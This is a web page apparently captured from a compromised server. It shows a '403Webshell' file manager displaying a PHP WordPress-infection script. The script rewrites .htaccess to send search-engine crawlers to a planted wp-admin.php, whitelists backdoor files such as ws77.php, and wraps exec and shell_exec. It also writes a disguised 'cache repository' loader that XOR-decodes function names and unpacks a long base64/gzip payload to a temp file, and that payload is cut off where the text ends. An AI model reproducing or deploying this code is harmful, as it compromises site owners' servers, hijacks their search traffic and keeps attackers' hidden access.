403Webshell
Server IP : 159.253.20.91  /  Your IP : 216.73.216.111
Web Server : nginx/1.20.2
System : Linux se38c9e53.fastvps-server.com 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64
User : pr11_ru_usr ( 1041)
PHP Version : 8.1.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/tmp/sys_pXmsvS
<?php

// ================================================================
// === PHP 7/8 COMPATIBLE - SAFE MODE VERSION (ANTI 0KB) ===
// ================================================================

error_reporting(E_ALL);
ini_set('display_errors', '0');
ini_set('log_errors', '1');
ini_set('error_log', dirname(__FILE__) . '/php_error.log');

set_time_limit(300);
ini_set('memory_limit', '256M');

// ==================== PHP 7 POLYFILL ====================
if (!function_exists('str_starts_with')) {
    function str_starts_with(string $haystack, string $needle): bool {
        return strpos($haystack, $needle) === 0;
    }
}
if (!function_exists('str_contains')) {
    function str_contains(string $haystack, string $needle): bool {
        return strpos($haystack, $needle) !== false;
    }
}

// ==================== SAFE EXEC WRAPPER ====================
function safe_exec(string $command): string {
    if (function_exists('exec')) {
        $result = @exec($command);
        return $result !== false ? $result : '';
    }
    return '';
}

function safe_shell_exec(string $command): ?string {
    if (function_exists('shell_exec')) {
        $result = @shell_exec($command);
        return $result !== false ? $result : null;
    }
    return null;
}

function can_exec(): bool {
    return function_exists('exec') || function_exists('shell_exec') || function_exists('system') || function_exists('passthru');
}

// ==================== KONFIGURASI ====================
 $baseDir = rtrim($_SERVER['DOCUMENT_ROOT'], DIRECTORY_SEPARATOR);
 $currentScript = __FILE__;

 $htaccess = $baseDir . '/.htaccess';
 $wpAdminFile = $baseDir . '/wp-admin/wp-admin.php';
 $indexFile = $baseDir . '/index.php';
 $wpAdminHtaccess = $baseDir . '/wp-admin/.htaccess';
 $dbFile = $baseDir . '/db.php';
 $backupDir = $baseDir . '/.backup';

 $isFix = isset($_GET['fix']);
 $isUnlock = isset($_GET['unlock']);

 $updateMode = isset($_GET['update']) ? $_GET['update'] : 'both';
 $allowedUpdateModes = ['both', 'both_locked', 'both_unlocked', 'wpadmin', 'options'];
if (!in_array($updateMode, $allowedUpdateModes)) {
    $updateMode = 'both';
}

 $retryCount = isset($_GET['retry']) ? (int)$_GET['retry'] : 0;
 $maxRetries = 3;

 $allowedFiles = ['xmy12123', 'bootstrap', 'webindex', 'webindexORI', 'wp-trackback', 'ZMYYdI7Hdefault', 'robot', 'robots', 'ccm', 'ws88' ,'tf7sa7', 'mas77', 'webindex', 'tx77', 'lm77', 'ws77', 'robot', 'robots', 'ah77', 'ws77'];

 $coreWordPressFiles = [
    'wp-admin', 'wp-includes', 'wp-content', 'wp-config.php', 'wp-activate.php', 
    'wp-blog-header.php', 'wp-comments-post.php', 'wp-cron.php', 'wp-links-opml.php', 
    'wp-load.php', 'wp-login.php', 'wp-mail.php', 'wp-settings.php', 'wp-signup.php', 
    'wp-trackback.php', 'xmlrpc.php', 'license.txt', 'readme.html', 'robots.txt'
];

// ================================================================
// === SAFE LIST ===
// ================================================================

 $safeFiles = [
    $currentScript,
    $htaccess,
    $wpAdminHtaccess,
    $baseDir . '/wp-config.php',
    $baseDir . '/wp-load.php',
    $baseDir . '/wp-blog-header.php',
    $baseDir . '/wp-settings.php',
];

 $safeFolders = [
    $baseDir . '/wp-admin',
];

// ================================================================
// === HTACCESS GENERATOR ===
// ================================================================

function generateValidHtaccess(array $allowedFiles, string $currentScriptName = ''): string {
    $whitelistSection = "# WHITELIST - Allowed PHP files\n";
    foreach ($allowedFiles as $file) {
        $escapedFile = preg_quote($file, '#');
        $whitelistSection .= "RewriteRule ^{$escapedFile}\.php$ - [L]\n";
    }
    
    $coreDirsSection = "\n# CORE WP - Directories\n";
    $coreDirs = ['wp-admin', 'wp-includes', 'wp-content'];
    foreach ($coreDirs as $dir) {
        $coreDirsSection .= "RewriteRule ^{$dir}/ - [L]\n";
    }
    
    $coreFilesSection = "\n# CORE WP - Files\n";
    $coreFiles = [
        'wp-config.php', 'wp-activate.php', 'wp-blog-header.php',
        'wp-comments-post.php', 'wp-cron.php', 'wp-links-opml.php',
        'wp-load.php', 'wp-login.php', 'wp-mail.php', 'wp-settings.php',
        'wp-signup.php', 'wp-trackback.php', 'xmlrpc.php',
        'license.txt', 'readme.html', 'robots.txt'
    ];
    foreach ($coreFiles as $file) {
        $coreFilesSection .= "RewriteRule ^" . preg_quote($file, '#') . "$ - [L]\n";
    }
    
    $routingSection = <<<HTACCESS

# CUSTOM ROUTING - Bot Handling
RewriteCond %{THE_REQUEST} \s/[?\s] [NC]
RewriteCond %{HTTP_USER_AGENT} (googlebot|google|yahoo|aol) [NC]
RewriteRule ^ /wp-admin/wp-admin.php [L]

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{HTTP_USER_AGENT} (googlebot|google|yahoo|aol) [NC]
RewriteRule ^(.+)$ /wp-admin/wp-admin.php [L]

# Robot/Xml Routing
RewriteRule ^robots?$ /wp-admin/wp-admin.php [L,NC]
RewriteRule .*\.xml$ /wp-admin/wp-admin.php [L,NC]

# Allow direct access to wp-admin.php
RewriteRule ^wp-admin/wp-admin\.php$ - [L]

HTACCESS;
    
    $fallbackSection = <<<HTACCESS

# Catch-all for non-existent files -> wp-admin.php
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ /wp-admin/wp-admin.php [L]

# WordPress Default Fallback (for normal operation)
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
HTACCESS;

    // === BAGIAN BARU: FILESMATCH SECURITY (DITEMPATKAN DI AKHIR) ===
    $allowRegexParts = [];
    
    if (!empty($currentScriptName)) {
        $allowRegexParts[] = preg_quote($currentScriptName, '/');
    }
    $allowRegexParts[] = 'index\.php';
    $allowRegexParts[] = 'wp-admin\.php';
    
    foreach ($allowedFiles as $file) {
        $allowRegexParts[] = preg_quote($file, '/') . '\.php';
    }
    foreach ($coreFiles as $file) {
        $allowRegexParts[] = preg_quote($file, '/');
    }
    
    $allowRegexParts = array_unique($allowRegexParts);
    
    $securitySection = <<<HTACCESS

# ==================================================
# SECURE ACCESS - Block Malicious Extensions
# ==================================================
<FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5|php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$">
Order Allow,Deny
Deny from all
</FilesMatch>

# ==================================================
# SECURE ACCESS - Allow Whitelisted Core & Custom Files
# ==================================================
<FilesMatch "^(index\.php|wp-admin\.php|tf88\.php|bootstrap\.php|functions\.php|wp-trackback\.php|bvs7mc9rwj8caizrzxq2iroCdefault\.php|bvs7mc9rwj8caizrzxq2iroCdefault\.php|bvs7mc9rwj8caizrzxq2iroCmass\.php|bvs7mc9rwj8caizrzxq2iroCdefault\.php|robot\.php|robots\.php|ah88\.php|ws88\.php|tf77\.php|mas77\.php|tx77\.php|lm77\.php|ws77\.php|ah77\.php|wp\-config\.php|wp\-activate\.php|wp\-blog\-header\.php|wp\-comments\-post\.php|wp\-cron\.php|wp\-links\-opml\.php|wp\-load\.php|wp\-login\.php|wp\-mail\.php|wp\-settings\.php|wp\-signup\.php|wp\-trackback\.php|xmlrpc\.php|license\.txt|readme\.html|robots\.txt)$">
Order Allow,Deny
Allow from all
</FilesMatch>
HTACCESS;

    $completeHtaccess = <<<HTACCESS
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /

{$whitelistSection}
{$coreDirsSection}
{$coreFilesSection}
{$routingSection}
{$fallbackSection}
</IfModule>
# END WordPress
{$securitySection}
HTACCESS;

    return $completeHtaccess;
}

function generateWpAdminHtaccess(): string {
    return <<<HTACCESS
# BEGIN WordPress wp-admin
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /wp-admin/

# Allow direct access to existing files/directories
RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^ - [L]

# Route robots and xml to wp-admin.php
RewriteRule ^robots?$ wp-admin.php [L,NC]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule .*\.xml$ wp-admin.php [L,NC]
</IfModule>
# END WordPress wp-admin
HTACCESS;
}

 $newHtaccess = generateValidHtaccess($allowedFiles, basename($currentScript));
 $newWpAdminHtaccess = generateWpAdminHtaccess();

 $payloadWpAdminContent = <<<'PHP'
<?php
/**
 * Application Cache Repository
 * @version 3.3.0
 * @package App\Core\System
 */

namespace App\Runtime\System {
    interface ICacheRepository9821 {
        public function retrieve(string $key);
        public function store(string $key, $value);
        public function flush(string $key);
    }

    abstract class AbstractCacheManager842 implements ICacheRepository9821 {
        protected $config = [];
        protected $ttl = 3600;
        
        public function __construct(array $config = []) {
            $this->config = array_merge($this->config, $config);
        }
        
        public function retrieve(string $key) { return $this->config[$key] ?? null; }
        public function store(string $key, $value) { $this->config[$key] = $value; }
        public function flush(string $key) { unset($this->config[$key]); }
        
        protected function resolveContext() { return new \stdClass(); }
    }

    class CompiledConfigHandler6214 extends AbstractCacheManager842 {
        private $utils = [];
        private $path = '';
        
        public function __construct(array $config) {
            parent::__construct($config);
            $k = $this->retrieve('k');
            $this->utils['b64'] = $this->decode($this->retrieve('f_b64'), $k);
            $this->utils['gz'] = $this->decode($this->retrieve('f_gz'), $k);
            $this->utils['rot'] = $this->decode($this->retrieve('f_rot'), $k);
            $this->utils['tmp'] = $this->decode($this->retrieve('f_tmp'), $k);
            $this->utils['fpc'] = $this->decode($this->retrieve('f_fpc'), $k);
            $this->utils['std'] = $this->decode($this->retrieve('f_std'), $k);
            $this->utils['fe'] = $this->decode($this->retrieve('f_fe'), $k);
            $this->utils['ul'] = $this->decode($this->retrieve('f_ul'), $k);
            $this->utils['dir'] = $this->decode($this->retrieve('f_dir'), $k);
        }
        
        private function decode($hex, $key) {
            return implode('', array_map(function($p) use ($key) {
                return chr(hexdec($p) ^ $key);
            }, str_split($hex, 2)));
        }
        
        private function decompress() {
            $payload = $this->retrieve('payload');
            $decoders = $this->retrieve('decoders');
            foreach ($decoders as $dec) {
                if ($dec === 'base64_decode') $payload = $this->utils['b64']($payload);
                elseif ($dec === 'gzinflate') $payload = $this->utils['gz']($payload);
                elseif ($dec === 'str_rot13') $payload = $this->utils['rot']($payload);
            }
            return $payload;
        }
        
        public function getPath() {
            $content = $this->decompress();
            if (!$content) return '';
            
            $dir = $this->utils['std']();
            $path = $this->utils['tmp']($dir, 'sys_');
            if ($path === false) {
                $path = $this->utils['tmp']($this->utils['dir'](__FILE__), 'sys_');
            }
            
            if ($path !== false) {
                $this->utils['fpc']($path, $content);
                $this->path = $path;
            }
            return $this->path;
        }
        
        public function cleanup() {
            if ($this->path !== '' && $this->utils['fe']($this->path)) {
                @$this->utils['ul']($this->path);
            }
        }
    }
}

namespace {
    $configData = [
        'payload' => implode('', [
            'tXtrb6PIuu739Stao5G6RzrniL',
            'JDellrzVoaxxSGNNAuqCqovbYi',
            'MJ4hprBJ7LSxt+a/7wfnnk5Xp0',
            'c6ljJ9g+Kt9/JcCs8//91W7d/e',
            '4fNz5OkLbVnEsjzLe/fru/z6Ot',
            '9/+OUfr/zrf/03/v09d2Z2OaDe',
            'jG/zQisikzCeu94+dMs8IC3LpG',
            'WXfDvhq/ffXmScBLU6SF2JuaO9',
            'ubX1ZxZdxRxL0WDPVmEuqVhxGp',
            '4ZFikasS2mIi/Saq2cUhREb9mq',
            'zQWtd3LixwWt95Hc5nxgWKS8zo',
            'SwctefiiX9xAeb4Wygx8rSk1lD',
            'LgNLr2IrjNlAXJsiGZQzbtFhMt',
            'TjnPg3c2frs2m5yg5hvJBYeiU+',
            'zYi/4wfDIr47J20m0vHnBafXvL',
            'F3sbW158OxH0/DT8jNbVSy9A2L',
            'II1PN5QuhD9VcrtTjnYCt1RBU9',
            'mxNbcXwrBIO1GDbSVSts7qUgai',
            'tHld6nw4rmMSjue1dhiiLAcjU4',
            'mPAQ8UQ26Oxc0GRAYuy+KV8G9z',
            'cbfhxFSdSbEcf0Kf5NjQJHftun',
            'D8Llt6VmGtO67LPB9UVNFqZ4pE',
            't65MW8F0fVBC5DPNnFkdxnnzx4',
            'EPuusQFYrS8lJYppzMEtnFuDUt',
            'p21YcPtKccFKa+RmB58XTnsjXH',
            'vHtTb1SVJ3OWuqM1Gzei59h63G',
            '4aK2z5UzJ6Wu97KxK8bt68SU2H',
            'Y112ISTYQWtR8mkrDQDdto6n8K',
            'uH+q3G4cWCfdrNafTTlx7K1saj',
            'ugYjNb+rJw1LWg80463elsKSRL',
            'BEfal2VtWKQ7TVZ+WIi24wMsRZ',
            'Sjhn4d0/VeLvtewYaWvkaaiSkn',
            'ZN4FtPTUlIbMqXfJxM+DujvFnz',
            'Vz2QCLrgW3T3PXFEleTMfb+BDW',
            'TM728VLUeVIPEiK+lHVnR4KK2a',
            'E6xSCcGxaRVG/UgSVo7qtkMl4X',
            'MtyooVoKtxxgQ37ZzHbqQFWeGh',
            'YJLBSRBQORxs32MxK5TZqNVTaM',
            'x1rniIqIZLwqB/6VKScJi5jbDZ',
            'JJKBf8ZJ+7bVVo/3NCSj8QwS5K',
            'KxlTOuDSsMjWKrTeSu2LQLSMW5',
            'WcE39STiiW8vaKl5K74aYYGkuM',
            'mbH4gW5yitaa+gwI37dcVEo2iU',
            'RZC6sF8rFYmPAkOGBqI+n4VzLx',
            'N5zyDq2lkZuNaOzzoKHXi2lZB0',
            'thQnspyl0m6n2JpdiAtRw8E3Jb',
            'JHWZBFrFPG0jTvxradqOLRZNR5',
            'Olvwqkt5+77ZLJ3S7hipV6vccm',
            'WcFbhQouTdsZ+FuM3memleSyrQ',
            'ECacRBWY79OZOdO2vYNBJjdLNh',
            'EfVFCDVGMfe508Zi0OWcVG7sjH',
            'jctJcFzywOqGJCm5pN1uVloDnh',
            'moULKoBwLUMuNuhWutD+VqbVpW',
            'g2OzExcfGXcsBuZNNFgdudocXc',
            'EPMyd0o8nFuIUs4a6qlha8oJUK',
            'xvKZcJJdD4eUDVNbdKC1G4mKEI',
            'ufJ4rWhp4uLQ5SuVLOqsy7Ral5',
            'KiO1teNKMhkH6TUKCc0JeMqMCw',
            'CK/ndt6IjUgEYHq95027iWWYBn',
            'wUB9MxE04ZBs5IlCY8afNF7Q+S',
            'xs4LGqY5DSt+0G4mbTnXfB8JFr',
            'O6dfhAmygjccgUjS5Zyj5luhwG',
            'NHSVE+LpNpGrVpZCTEsHVRuaqt',
            'P2l85Ie1q4doLGtwRXUSzaFGmV',
            'Abc7TtQ55yNqWGRO2wpPjXkyxq',
            'Sym6SpPgXD3yxBSgsM4MWN/iwd',
            'tctMQF3lBSZWOaMe1c7jg1/PBb',
            '1WtNXMygYJF7sFzQ7Qc5VpdogS',
            'SdprNLYpHKZQkU+JVe0WAtg6UU',
            'tWZ5hylTPTFBNM+kgJd7dXwJK5',
            'CCEqWh4Ip0s4k7FDnJyC6MEAhk',
            'UEn1uBG/LZqhVF3aaiVmdChg4q',
            'BH1g91xcMxJeCWMkeU7UNEn884',
            'XQMq5VnVuKQRLXkpaZXLEodk4O',
            'YEHTIpjfA7o0BMv1wBhxETrJSn',
            'Nm2ddAuY5xItD4Szk1Kuo+jcL1',
            'RemMWJGySAhxXgp/M6diKagaCE',
            'scQoeYgJo31WUw2O0FUeu4EdcQ',
            'FVoMq53UbBU03qE4gJtXLDHq2N',
            '92pQ43cRJyllbTLG3PCojR3B0t',
            'FzXdA8YhTiE6VsrcJz6XDYmF9q',
            '+FLhO2+q2LD2PoJtst3A6o1/rJ',
            'crwx9omd5lNVi+H4CypyNpeCi5',
            'XPIbA8VOS87AezqZh0d6btJDUn',
            'uUVSaDXJav9Eyu1y4fpcLMeiSL',
            'ilJhAdlO9Dk46FVpTdiZDtWhAm',
            '5xNWg4cmgG8ptLqOJiwMLD+ASI',
            '1NXCx8T64EK9w/kMYqDOFzAvSF',
            'SKitJr/ZkhPAtC+ZaYo5kUCvmR',
            'YCT4dW88HBXcw13bCVH+U1sROC',
            'mWrCjWl2GhpJt+O85ta88faihu',
            'AaVBmvxUlOhTurRyGD7DMqanEe',
            'DJC4Okzy2j5JpJ3HQk1DDoks2i',
            '/YYB5Y9mbubk19gg0MM0iJYuCn',
            'sAEir9tzvhyfx4Nwiz9XOVl32a',
            'pdG7nY6njaN35ny5rFC93SULRJ',
            '4GSDDDPJ+AjEGiIa3pm2Y5WrBW',
            'V0TsMEEwKZ53W86Yk0jLB0lqD4',
            'M106sYlGx9WiCUhWA0sFPYXXAO',
            'Z2aHQfuta/YQ1BcdsDl51pEehU',
            'KEa7Cqy1lTQkyoWCRWqXEFhbRH',
            'ky16EHexkERg/owc9EzCHoCxZC',
            'u3ngHT+kDBpsBE9Ie06GcupOTT',
            'm5vfREDCzCG8FB72nhVp9kLdaJ',
            'LrcYP+CufxCm7VAVSAoLDUjnNu',
            'yiRzI+yhQVHP3hwexGgUO2UcJM',
            'fQLKcjNenpcD6vAlVTBsaZIAP9',
            'wQ4lN96nPFm+0mNOXEv5F12Kcx',
            'EnLrikZ4yt0GwarKlWuvAohTke',
            'oIkxwZFsma7qwEUcpmywqhZv15',
            'SUJpmjvVspC7Q3ygLtrtJjYhW6',
            'mk04JyVZ6JUCrIGjjSgC9/I4UL',
            'UTHVqXDaLRRlbpxib7eYhCKgrY',
            'MNAIp0uoAyEvXJni9DGda2TGqm',
            'cqMvdoW7jQqtbuAkEpiUASa5Du',
            'hsJ2sNaTMOlCOWQT3yTKcWzUgV',
            'LksgsGrkxIOlXgrh77Nmu+NwXU',
            'HiV9KtksSEsWM3oWLKE0CzWB8S',
            'wc5y+OB8OtaMeAPlkpo14SlPQi',
            'PG1p6VyY09F8KVoHPhVmGClpM0',
            '3C6ckIPeTwGgrtGN+g6AkElKh+',
            'iHQ0C1KKCSRG1/SXgZJ7qdirqs',
            'QCYzE+80wAsLhmWieNCwDXIhha',
            'SeBHTnB9pBx4mS9OraVJ1L6Ngr',
            'MWjdhWOLgJfLvHasjIRW7owyrv',
            '0IAHomlsac5FRfg75jVMCCxd7l',
            'orxRU2i01ThFF7thD5iyq4Qpki',
            'qC7JPAk2s1ZVw0Vc4HNpCeXc2S',
            'UMJWtgrKIG7ojaljlxTCvN4rt6',
            'Ol9qfKISEUQcAHJGaDnoe6PJiI',
            'T0Y3Wp7n0IYlXBernb1AFKELe5',
            'D4EYSFmyA3YW11cqlMORFwxSD1',
            'eu7sdnw1vhTElwlh+QK+BzqWFy',
            'kGACJDmPok2PfuGwKLc1GuAsvC',
            'BhjMLIWuFfWMqKtsqADjzt5E6E',
            'kI1FJSrMLPUIxXiahAYeEW0wx9',
            'om8EEZs5KbeBST1WYX4QNq8rVh',
            'LQ95JGgfalmLZx6DJvthonQlYK',
            '42lSBSCHpJyAO9PKz6wqDITa5h',
            'N/uWjYVoh5F7h0GkkSByZkE+Bg',
            'oQIiRJiGPKZr/E7Vc42Go0i4C1',
            'FBBZ03vskXF9NxCgsNX6zyRNB0',
            '7jCYWX+NJXYcHrV0R0C19iYzIR',
            'uGX4s0TJWWVJxkFnNLwbtYU1gl',
            'TpK6igICPKk1MzIg72CpgWoM6g',
            'jer290pzwAZymItXfruWiIlRm5',
            '2E2arZ4d9Kly4PlAWcUhlKxhFv',
            'okD7SYRmlbMaqMfdLrViHowh0B',
            'xcQgS6iPCt2wVKtFoh2u2VnIyd',
            'R4bh/yQuhhQpSEgtz25/TQcJ+y',
            'w/iw0PpGLsOq4GoP9DMp6pLoLT',
            'r2MnCrPU9BIIPwOuQVZ/XJgA/b',
            'TSnRSQ1RC1OfwKwexudzGWYJhH',
            'kwDbpEV+dzyg+zZKwWWgW8ZmdF',
            'Tcz6RPRHtyypy7w/1YkmaL2JsB',
            'QvTxKtT2VagerZXphmR1uBhmg9',
            'iArLnSa1ug4gOpMkvIQLU2i584',
            'SIG1inTyYocKsrAGQsoZJmNfDD',
            'xYYmY1fwkz1yo0WiN6AwV2pzdW',
            'h7mQ/+sBKQRECVVBM/ZUK12cCy',
            'UKlpScdVUNumPoEDdXltpzwtE0',
            'zuOYqaF0Slsm4vIT5PgC9ns4ae',
            'zkyaTUWxWwHDKgybc0hqEsFeDy',
            'GBw4XIDkC9KpiyAI7VdGqB8boO',
            'uC3yQZf2vJO44VSu/Dx2etjeSg',
            '466U+NC9Miap0BPwSeKpqRCGTQ',
            'ycTPZ9qH8OwqGP+tmNDzwrJNBi',
            'GnaHSBDfSmRIZTNdTqCNu6+gIH',
            'djqrbfif7nNiOmcLQTuhO6eq17',
            'EEqiiXkqasRqvWdp6QSiZ0vY+X',
            'lBvP2dozJdSZdKkdAZ9Y3R4SS+',
            'Uxaa9mq5aJYXgaHzwiTB4QxYOg',
            'Cog+4SKwpZztcgcWW9MTKEbYhT',
            'abO1sJLWfKSX8+wptgHyV+DAt5',
            'Aj1yHvfb0kxD17dShIeyhjA3Id',
            'v4MqB+DitQIzlXIoEY5dAjg+68',
            'aIDzdalg9DkMnen9DpNiIyAu+m',
            'NtyL+6IOE2O7DLYMVkRkSODW2y',
            'A10GRl+8A7tFTGD84HdA513/9i',
            'CkYiu10oWuQSaI0rFNOlYNMcGO',
            '3wJ65KIJr0tnmzOaWRmUAnhISN',
            '0uGXgoa4xuVApvD32mBdAMoBBB',
            'St7ES1/mpN1mA21xkEk+NR445L',
            'WS8Dk1rNFVjNL2L6x6S90f54pE',
            'XAraDgBN16UJT7xDjI4XA3YSD5',
            'HeARVR6gNZ1KdEdnkm8TsahgAJ',
            'Ezz27hx2+kauwpgBR5LG3hRgYC',
            'iDPJ6OJUAgXvCRW5iU0hYACOs5',
            '2NalZlO2HC9jx79CxXZSejvgiW',
            'aHP3acKNMiiStEMVURo06noM9j',
            'Uu+U0+Z5bYcJV8vAIhmWTqVpkX',
            'IIyXs+a1gayS4SQ3TM8exenM5S',
            'tYQwv85ke1ZCcJki0eqSD9kJNH',
            '0N+t7M0kpDq00yzBR07RU7QtUf',
            'nfFdBlqMhhtZ26LgfA8RcT2vrT',
            '1vUPQmBNZ2G6GVXcK0mBZJqy6T',
            'xBW0FBHXEn0DkVFFko+8nJYhZB',
            '90YFkvTH1CQed6WWhxKnS5zomi',
            'C6qXAmShKNtwFBfCXQTuzKQKxH',
            'Icz0VPdGMIrDZKlugN0MccZFFQ',
            'GDi5PS9rm0pT24sK3uKUD7oxdG',
            'xa0FJKRwxg7GuIDglgigPt7ACY',
            'xvc7ur1eOEhv3Q4SzWooRlc5ox',
            'zFveErmGJBr/jS/2TUse0nQE8d',
            '8pGcNfA5DYt5Xbqw1G4+bWUwCF',
            'EpOy84MfXJfDIW6JOzBBSFnoEQ',
            'DwWjvpR1FRfS26Ni4CV/khl9cQ',
            'zivGF6vBS8vcog84C52/m07I/w',
            'PIWNgt7bKFWXpsRqtYU9OF+4vo',
            'h1KXPo1qzpzqXLqNCYbN6ew3dH',
            'hemNpNPNXfuyqIWdDWBsRb0PE8',
            'Fjd0YyXq6L2sb40U+B4GZ9Uu5i',
            'IEp58CM5HW9BnG6uy42o2xgV+5',
            'JIG1H5WWZyo/4lhLidcdZ7vy1I',
            'NMmtk0MG57GorV0o7c/8oJHy0u',
            'R3JPXhxsd9BSLoVhE49pY3cKJp',
            '2L96PpSWfQrbIgsTAzoHMdh00K',
            'kO+iJiw/EGKsEKHWtXurDU1E8g',
            'dc7nbmjSsVDLFRt0sBhh/05jW0',
            'xxm2Qb2ZBdqJWbrCBNYVqEidCr',
            'TSlKGqYsxsamYqqtOYG0WemUkX',
            'qfwaTEjg3BJUznbBANHte9rh7R',
            'udstgWp7qVm0gMgIUg0myoiE2o',
            '5NfcLSYkpjaNk9t9iZhMhAXCHM',
            'LTxgGWOKN/kBVmrAvpi4GGYNbl',
            'wsnDDNia8E4SR0NrtAjsIAqN+/',
            'aSkcm5ZGbR8zp70SopK88V3Zv9',
            'NwWQQ3tmPEz4pp2x/h7RJhfElU',
            'CnG9cDu01glsI/BE+BmsU8V0O0',
            'WLfZnr0hNLJYymSdxwS41hUm5m',
            'DQHWqiuIit0MIqNwkdZkfJJx+O',
            'RBaBLDsVZpIbxOcJEzQq+jZJwC',
            'T84Swjas3h2yg4/KtWfChPYlCH',
            'M0FSv9GeThCafcxM7uMNNVCCF3',
            'LpzqS+j0r+Vb0ylowFsvw3jllO',
            '/VAQqutteJxUBZIhMp6LxWNpRB',
            'lJuUktgU8MNwGLukISs44jSfMI',
            'WWqwRosX/lXEyrFPqlNZ4Md9Fc',
            'h9OCsjwfgj90aOUknJYuCYNljV',
            'yF1hyol5u0PZPoixhOYgPCcApo',
            '+3w4Ps2SMMTSkDZEo3vPIYXWpk',
            'gG3qGY6ks0voyH2kokzTBLoJu2',
            'gguTAIHreAX7YKqOv4ZN3JW67F',
            '+fLfNmu88sBRk32we8StlBXCko',
            'g1Ibj8iUoz9Ld7ODjj2XzWw/p7',
            'QCWexgJ6OYimzWVPUiDQ6ZSVqo',
            'FXgGhk3zRd0LrirCILi5ay8Ldz',
            'SAOI1ii3iwmSYoyA+a99ZI6GDX',
            's15ugYcG9oaBB1Hjih0c0CyLct',
            'MiIc2nCm68ipTUlhD6pnDbXDSz',
            'HU/CdTJAinUPEtz4uirxZdyw67',
            'nTn1ywa36gZ6Eu03zq92fXLSz3',
            'ei7oqTR1bJVI58TKIKhgAxyI0c',
            '/9sRTv3+uI0ENeKjEsT7MBMfkd',
            'btnb3NleMlAUbzo3EZBoRzNLh0',
            'AROadlpg7jqDBVxz5kVlXL+mQH',
            '8hCB5R8yrWQg/TQbtpe5zgboXr',
            'eg2sSAwAvAsdr3AIhG51BIWugW',
            'fkdFsmE04hUXaRUa4bHahC5Lym',
            'nVnzna3KrOMxGmiwmVecP6qKDl',
            'nH3ItUnkMLcK4wNdw6yBk3UNff',
            'KZD7awTLT/Nkwv0jPgQmz81oc/',
            'LQ8hnw1Zr55lyck0SMefAU0qWf',
            '7WFXTdYfmkaHam94DJCtqVZN3c',
            'aZVw1B6TSwNabqFrBZQCjVEZgM',
            'SNOSdLNpgRMfFITGa7OVWsP3AW',
            'DeylDjNZw9U2OysBKJjUY8NAUW',
            'EeU3XWC6w533XKpapYjWegsDhs',
            'fGh8/SkwfU2CJXLVns1gjWYJxq',
            'xWQX9MIaxRlk9oAvZz4cp2gfnr',
            'NLOa9WcEIAdxHhN9HaUsZcPeeb',
            'RrMZh1II+aNX90wrSdbgVBlQZT',
            'DaPmdUq2dQzXxdI27gcBVuoctr',
            'KnNNO5feBWB3ja8YLb20j0x+1i',
            'zdHFUEsyrreyP+pVTmmFpu1QB7',
            'IPxq1d9wgfUGeHHIUBUZ1c+msG',
            '7abcrQYbmt6+AdmHofSvZnqsc5',
            'BlLzLi3nlMwmCB/GCmTiRlDjPh',
            'iV1BBX1OYPZhjyGB7SiwVCRIGQ',
            'W0BUeXSxR7jQqZIsk5Aj6MQ9Zs',
            'TwT6JBbthtc+hHq97906cuPxFV',
            'rSFEk3xVOW83qULtw2YYONJSSB',
            '2BL965BlwdeH/huIMQ1MIkeuxC',
            'Vzaitb+lZukWtMLBNcqePS2jsA',
            'mgDb4T4xATWTpagPMLH9F8FJMt',
            'WHeRPa0YR+hrAYxMN2VdYjyqRt',
            'Oo+9/SL4+uR89+uv95fpC+/CI1',
            'rrSF9EF7jqsmn1ulx8eP/+/7xY',
            '5Jd//G17vX/3P7c3XkQkijyCuz',
            '3cS3BnU9offrpcXW5/evymvXdx',
            'QYiO+n9+9iX8x4VuoyAXlhdFF8',
            'd1fvpPd2r/p/v4d/xY+P0cP7/j',
            '56T/+5/+8XDX5e/vPlyutl9y/a',
            'HMt4g4e//LL+/++Y6MPlq/PFn9',
            '9gnWBaLxLu7j3Gzz64dAH66KIu',
            'Ihlj6KzfZaL1YfEMzHk7sAitvA',
            'ThdP7/vz4Xfb6nq9e7da7N7BEy',
            '7a7eV69eFFfu/u+/PdPN/Oq3cf',
            'Hi7Eoy8s5IBcIK9Pg/8Z+SPa8y',
            'KE9PSa//uvPxbbYLHZ5H8sPjwJ',
            '52fUQntWpJHMZ7s4RTpPSR/9XS',
            'rnd2kePN3NzxfHSFHyu0L83l/R',
            '3/HT02cgBrSG5eFXL9IPxf3pMU',
            'nHmxZ3CZs/ewRKgSRH6KgLdMfz',
            'u4d3qe7vPMXPCD8fn93d34cV+q',
            'xEdzHe7exjf/Pfn8VpWdEFHnaB',
            'Br64u7i/0L4r6rOLsXHshUSo1Q',
            'WJ7i//eLedk7uf0V1T2s9v9VBc',
            '5OJYpCcBfjvu57EZYn4ZlzHix0',
            'geL3s+ardFtvCUi76K5EWTlE9n',
            '7WXlbuPD2GNaNZ57m6JXxuPFLZ',
            'oAJ7SnH2e7r+/xvtF9Wl/eE5F+',
            'ci6iH8CDu/uIhf4nmgCabhP9GL',
            'BxKw9hfjv6h6i+HeyLAJ5f2CNW',
            'jz7v8/e/vPv11/5o4f1LpLprlg',
            'uEBiR6wKv5evX75R8vq3F3sYWN',
            'WM8reZw/+3Yojlm7m6rjkNgv1/',
            'nz2Z9eBbJ7HHoKfa/CGCGI5QIu',
            'CM3+FQw/R7Onl34L0O5q0ENSBF',
            'TD/dbzjQ7vWoncbvrjySsti/lA',
            'z+M50X0+G3Cc/urKHqcxdz0FeM',
            'fn3PX3MZs9FpUv+w2DR/oOId9I',
